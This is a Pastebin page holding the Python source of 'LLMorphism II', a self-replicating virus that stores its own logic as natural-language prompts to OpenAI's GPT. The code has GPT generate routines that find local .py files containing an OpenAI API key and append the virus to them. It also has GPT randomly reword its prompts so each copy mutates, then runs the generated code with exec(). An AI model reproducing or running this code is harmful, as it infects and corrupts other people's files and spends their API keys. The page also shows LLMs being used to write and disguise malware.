Advertisement
FlyFar

LLMorphismII - A new-age AI-based linguisto-morphic self-replicator powered by GPT - Source Code

Jul 3rd, 2023
1,068
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.87 KB | Cybersecurity | 0 0
  1. import openai
  2.  
  3. # LLMorphism II by Second Part To Hell
  4. # A new-age AI-based linguisto-morphic self-replicator, powered by OpenAIs GPT. Fully encodes and mutates the self-replicator into natural language.
  5. #
  6. # See my text for details: Using GPT to encode and mutate computer viruses entirely in natural language
  7. #
  8. # March 2023
  9. # https://github.com/SPTHvx/SPTH
  10. # sperl.thomas@gmail.com
  11. # twitter: @SPTHvx    
  12.  
  13. openai.api_key = "..." # Add your openai key here
  14.  
  15. prompts_list=[]
  16. tofile_list=[]
  17. prompts_list.append("Write a python function get_files which returns a list file_list with all .py files in the current directory. If you need to import some packages, do it.")
  18. prompts_list.append("Write a python function get_content which takes an input argument (string of a text file), reads the text file and returns its full file content. Do not write anything else except of the python code!")
  19. prompts_list.append("Write a python function is_key, which takes a string as an input and return True,  if it contains the substring 'openai.api_key' (which has 14 characters) exactly once, otherwise False. Be careful, do not compare the entire string, but find how often the substring is contained! Very important: Do not write anything else except of the python code, do not write print statements and do not define variables outside of the function. Just write the function!")
  20. prompts_list.append("Write a python function write_to_file which takes a filename and a string as an input, and append one line break (do not forget!) and the input string to the file. Output only the python code, nothing else!")
  21. prompts_list.append("Write a loop over all elements returned by the function get_files (which has no arguments). For each element (lets call it curr_element), test whether the function is_key with the argument returned from get_content of the current element is True. If it is True, call the function write_to_file with curr_element as the first argument, and the variable tofile_str as the second argument. (tofile_str is a variable which is defined above)")
  22. prompts_list.append("Write a python code (only this one line) which prints: 'LLMorphism II by SPTH - a new-age AI-based linguisto-morphic self-replicator, powered by OpenAIs GPT. Fully encodes and mutates the self-replicator into natural language.'.")
  23. prompts_list.append("Write a python code (only this one line) which prints: 'Hugs to the valhalla gang - hh86, roy g biv, JPanic, herm1t!'.")
  24. tofile_list.append("Write a python function return_text which takes two inputs: a prompt string, and the openai key (with a default value of the value openai.api_key). The function returns returns the output of an openai text completion (ONLY USE 3 parameters!). As parameters for the openai text completion use only four parameter (!!): engine which is 'text-davinci-003', max_tokens is 1000, temperature is 0.0, and the parameter prompt. Do not use any other parameters, only these four! The parameters are not strings!")
  25. tofile_list.append("Write a python function modify_text, with two strings as input argument. Make a new string, which is the first, then a chr(34), then the second string, then a chr(34). Use the new string as an argument for a function call to return_text. The new modify_txt function should take the output string of return_text, remove all line breaks and all double quotation marks, and return this final string.")
  26. tofile_list.append("Write the following python function comp_str_fct, which has one argument. The argument is a list of strings. For each element of the list, call the function return_text (with the current element as the argument), and take its return value (a string). The function should combine all strings (with a line break) and return it.")
  27. tofile_list.append("Write one line in python, which defines a string with the name tofile_str. The value of the string is 'prompts_list=[]', with a line break before and afterwards.")
  28. tofile_list.append("Write one line in python, which appends and store to the string with the name tofile_str. The appended value is 'tofile_list=[]', followed by a line break.")
  29. tofile_list.append("Write one line in python, which defines the string called reform_str, and initialize it with the string (Keep the entire content the same. produce a syntactical correct python line!) 'Slightly reformulate in natural langauge the next sentence,'")
  30. tofile_list.append("Write one line in python, which appends to the string called reform_str (Keep the entire content the same. produce a syntactical correct python line!) ' without changing its meaning, '")
  31. tofile_list.append("Write one line in python, which appends to the string called reform_str (Keep the entire content the same. produce a syntactical correct python line!) ' do not interpret the content, '")
  32. tofile_list.append("Write one line in python, which appends to the string called reform_str (Keep the entire content the same. produce a syntactical correct python line!) 'keep the length and structure of the string as similar as possible, '")
  33. tofile_list.append("Write one line in python, which appends to the string called reform_str (Keep the entire content the same. produce a syntactical correct python line!) 'very importantly do not change the content at all, '")
  34. tofile_list.append("Write one line in python, which appends to the string called reform_str (Keep the entire content the same, keep the colon. produce a syntactical correct python line!) ' and only make slight modifications: '")
  35. tofile_list.append("Write a python loop over all elements of the list prompts_list. For each element with 20% probability, replace the element with the return value of the function modify_text with two arguments: the variable reform_str and the current elements. You should indeed modify the elements in prompts_list. Assume that the list prompts_list, modify_text and reform_str are already defined, do not redefine any of them! Very important: Do not write anything except of the loop and the import of the random package.")
  36. tofile_list.append("Write a python loop over all elements of the list tofile_list. For each element with 20% probability, replace the element with the return value of the function modify_text with two arguments: the variable reform_str and the current elements. You should indeed modify the elements in tofile_list. Assume that the list tofile_list, modify_text and reform_str are already defined, do not redefine any of them! Very important: Do not write anything except of the loop and the import of the random package.")
  37. tofile_list.append("Write a short python code (no tests or examples). Make a loop over all elements in the list called prompts_list. Directly start with the loop, do not define any variables beforehand (you can assume that tofile_str is already defined). For each element, do the following three steps: 1) Add to the string tofile_str the string 'prompts_list.append('. 2) Add to the string tofile_str the current element of the loop with double quotation marks. 3) Add to the string tofile_str the string ')' and a line break.")
  38. tofile_list.append("Write a short python code (no tests or examples). Make a loop over all elements in the list called tofile_list. Directly start with the loop, do not define any variables beforehand (you can assume that tofile_str is already defined). For each element, do the following three steps: 1) Add to the string tofile_str the string 'tofile_list.append('. 2) Add to the string tofile_str the current element of the loop with double quotation marks. 3) Add to the string tofile_str the string ')' and a line break.")
  39. tofile_list.append("Write a python code (only this one line) which defines a variable vic_code. The variable is generated by a function call of comp_str_fct with the argument being the variable called tofile_list.")
  40. tofile_list.append("Write a python code, which appends to the string variable tofile_str a line break, and then the variable vic_code (these are two variable names, not strings themselves!). Store the result in the variable tofile_str.")
  41. tofile_list.append("Write a python code (only this one line) which defines a variable complete_str. The variable is generated by a function call of comp_str_fct with the argument being the variable called  prompts_list.")
  42. tofile_list.append("Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it.")
  43.  
  44.  
  45. def return_text(prompt):
  46.     completion = openai.Completion.create(
  47.         engine="text-davinci-003",
  48.         prompt=prompt,
  49.         max_tokens=1024,
  50.         temperature=0.0,
  51.     )
  52.     return completion.choices[0].text
  53.  
  54.  
  55. def modify_text(string1, string2):
  56.     new_string = string1 + chr(34) + string2 + chr(34)
  57.     return return_text(new_string).replace('\n', '').replace('"', '')
  58.  
  59. def comp_str_fct(list_of_strings):
  60.     all_str=''
  61.     for ll in list_of_strings:
  62.         all_str+='\n'+return_text(ll)
  63.     return all_str
  64.  
  65.  
  66. tofile_str = '\nprompts_list=[]\n'
  67.  
  68.  
  69. tofile_str += 'tofile_list=[]\n'
  70.  
  71.  
  72. reform_str = 'Slightly reformulate in natural langauge the next sentence,'
  73.  
  74.  
  75. reform_str += ' without changing its meaning, '
  76.  
  77.  
  78. reform_str += ' do not interpret the content, '
  79.  
  80.  
  81. reform_str += 'keep the length and structure of the string as similar as possible, '
  82.  
  83.  
  84. reform_str += 'very importantly do not change the content at all, '
  85.  
  86.  
  87. reform_str += ' and only make slight modifications: '
  88.  
  89.  
  90. import random
  91.  
  92. for i in range(len(prompts_list)):
  93.     if random.random() < 0.2:
  94.         prompts_list[i] = modify_text(reform_str, prompts_list[i])
  95.  
  96. import random
  97.  
  98. for i in range(len(tofile_list)):
  99.     if random.random() < 0.2:
  100.         tofile_list[i] = modify_text(reform_str, tofile_list[i])
  101.  
  102. for element in prompts_list:
  103.     tofile_str += 'prompts_list.append("{}")\n'.format(element)
  104.  
  105. for l in tofile_list:
  106.     tofile_str+='tofile_list.append("'+l+'")\n'
  107.  
  108. vic_code = comp_str_fct(tofile_list)
  109.  
  110. tofile_str = tofile_str + '\n' + vic_code
  111.  
  112. complete_str=comp_str_fct(prompts_list)
  113.  
  114. exec(complete_str)
Tags: openai SPTH
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement